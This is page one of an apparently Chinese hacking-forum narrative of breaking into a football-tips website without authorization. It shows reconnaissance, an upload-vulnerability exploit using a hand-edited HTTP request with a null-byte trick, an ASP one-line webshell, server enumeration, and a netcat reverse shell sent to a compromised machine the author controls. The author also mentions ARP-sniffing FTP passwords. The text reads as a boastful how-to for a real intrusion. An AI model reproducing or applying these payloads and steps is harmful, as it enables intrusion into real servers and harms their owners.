记对一足球推荐站点的渗透

由于某些原因！我们要对某足球推荐站点--www.******.com进行渗透，首先当然是踩点了。先用扫描器扫扫。看开什么服务看了下。开21，80，554端口。FTP是serv-u，IIS是6.0的，还有554，嘿嘿，这个服务是什么我忘了。只知道可以溢出，试了下。失败！~！~1没有办法，在回来到他的站点上，到处观察他哪里有漏洞。，或者注入点。找了N久。实在找不出，他功能太少了。利用桂林老兵的工具查他服务器上绑定几个域名，或站点。查出六个。现在的想发就是。找到他们中一个比较弱的来进去。然后打到我们的目的。
很遗憾，他们都是一样的足球推荐站点。而且都上一全方位公司为他们设计的，他们的程序安全性还不错，基本上找不到什么可以利用的地方了。

现在只能用最卑鄙的一招了。arpsniff嗅它他的FTP密码。至于原理我就不在这里多说了。想知道的朋友可以自己去网上看看有关的文章。最成功的例子就是小路写的《黑防主机外部的危险》。

要嗅探，必须进入他们的网关内的机子，而且最好开3389的，用superscan3.0狂扫他们那个网段61.143.****.1-61.143.***.254，可惜。基本上都有防火墙，嘿嘿。防火墙我怕怕。但魔高一尺，道高一丈，呵呵。自然有解决他的方法。专门找开21端口，3389端口和80端口的机子。我扫啊扫啊扫。几乎另我绝望，那个网段活动的主机没有几台，而且好多是linux系统的，拿它无可奈何！~！~！~1

当然，在找漏洞主机的过程是漫长的。遇到好多失败，，，，我现在只说成功的那个，用桂林老兵的工具查到IP为61.143.***.121上有5个站点，(我们的目标IP是61.143.***.108)一个一个试，找SQL注入口，郁闷，几乎都是静态的htm文件。就在我绝望的时候。在网址后面试试http://www.xxx.com/admin出现403错误，嘿嘿。说明存在这个文件夹，admin一般是管理院登陆的地方，凭着经验，试试有没有上传，http://www.xxx.com/admin/uopload.asp嘿嘿，有希望了，
出现Microsoft VBScript 运行时错误 错误 '800a01b6' 

对象不支持此属性或方法: 'form' 

/admin/upload.asp，行20 

说明有这个文件。但这个不可能是他提交的那个而已。于是，试试upload.htm
嘿嘿，出现了可爱的上传页面。看看有没有上传漏洞！~查开源代码
发现有


嘿嘿。他死定了。上传路径这样定义，经典的上传漏洞！`！~！
离成功不远了。

现在就是老步骤了。抓包，编辑，用NC提交。
我把包的内容说说

以下是引用片段： POST /admin/upload1.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://www.***.com/admin/upload1.htm Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4251a110258 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Host: www.haotin.com Content-Length: 664 Connection: Keep-Alive Cache-Control: no-cache Cookie: flux_stat_user=0.18235000 1095404136621813289; ASPSESSIONIDQSBQTDSA=CODBCEJAHFBAFAGNKBPONJKO -----------------------------7d4251a110258 Content-Disposition: form-data; name="filepath" ../tt90_music_pic/b.asp //这里我多加了b.asp 记得asp 后面有个空格 -----------------------------7d4251a110258 Content-Disposition: form-data; name="act" upload -----------------------------7d4251a110258 Content-Disposition: form-data; name="file"; filename="C:\Documents and Settings\SUPPORT_388945a0\桌面\s\ASP木马集合\icyfox007v1.10\asp.jpg" //这里改为他允许上传的文件后缀， Content-Type: text/html eval(Request.form('830306')+'') // 这个是冰湖ASP木马短小就一句话 -----------------------------7d4251a110258 Content-Disposition: form-data; name="Submit" 上传图片 -----------------------------7d4251a110258--

因为我多加了b.asp 六个字节，包括空格所以在Content-Length: 664这里多加了6个字节，
把上面编辑好保存为a.txt然后用UE编辑，把那个空格20改为00就OK了，
然后用NC提交
nc -vv www.xxx.com 80 哈哈提示上传成功。找到我们的木马。用兵湖客户端连上去。在写个海洋ASP木马上去，发现写不进，郁闷啊。环境探测一下。原来不支持FSO,本来想截图的，才发现我把那个木马删去了。
反正就是那个意思了。
下面就探测下他的服务器信息
net start看看开什么服务
已经启动以下 Windows 2000 服务: 

Alerter
Automatic updates
Background Intelligent Transfer Service
BlackICE
COM+ Event System
Computer Browser
DHCP Client
Distributed File System
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Event Log
IIS Admin Service
IPSEC Policy Agent
License Logging Service
Logical Disk Manager
Messenger
Microsoft Search
MSSQLSERVER
Network Connections
NT LM Security Support Provider
Plug and Play
Print Spooler
Protected Storage
Remote Access Connection Manager
Remote Procedure Call (RPC)
Remote Registry Service
Removable Storage
RunAs Service
Security Accounts Manager
Serv-U FTP 服务器
Server
Symantec AntiVirus
Symantec AntiVirus Definition Watcher
Symantec Event Manager
Symantec Settings Manager
System Event Notification
Task Scheduler
TCP/IP NetBIOS Helper Service
Telephony
Terminal Services
Windows Installer
Windows Management Instrumentation
Windows Management Instrumentation Driver Extensions
Workstation
World Wide Web Publishing Service

命令成功完成。

Serv-U FTP 服务器
Terminal Services
BlackICE
MSSQLSERVER
嘿嘿找到了这几个。我最喜欢 serv-u和Terminal Services
l了
怎么我扫不到3389呢？？？？？难道是防火墙？？不可能啊。那他是怎么远程管理的啊》
于是用netstat -an看看开什么端口
Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1180 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1450 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2387 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2390 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2420 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3061 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4990 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4991 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8933 0.0.0.0:0 LISTENING
55555555555找不到3389，难道是改端口了？？急怀疑8933这个端口
（事后证明的确他把终端服务的端口改为8933 了）
现在就是提升权限了。
因为他有防火墙，所以用端口转serv-u的43958是不可能了。但我们用nc啊，嘿嘿这个号称瑞士军到的小东西！~！~！~
上传到上面。使他运行
nc -e cmd.exe 61.186.254.** 1234

61.186.254.**是我公网IP，（其实是肉鸡了）
这个意思就是要他主动连接我的1234端口，并把cmd.exe重定向到我机子的1234端口上。现在就可以逃开他防火墙了。哈哈。！~！~！得意只作！~！~！
精彩的还在后头，由于我太困了，搞了三个小时了。下午还有客，所以就去休息下。让snake来搞搞
呵呵下面就是他写的了。我走也！！~！~1

[1] [2] 下一页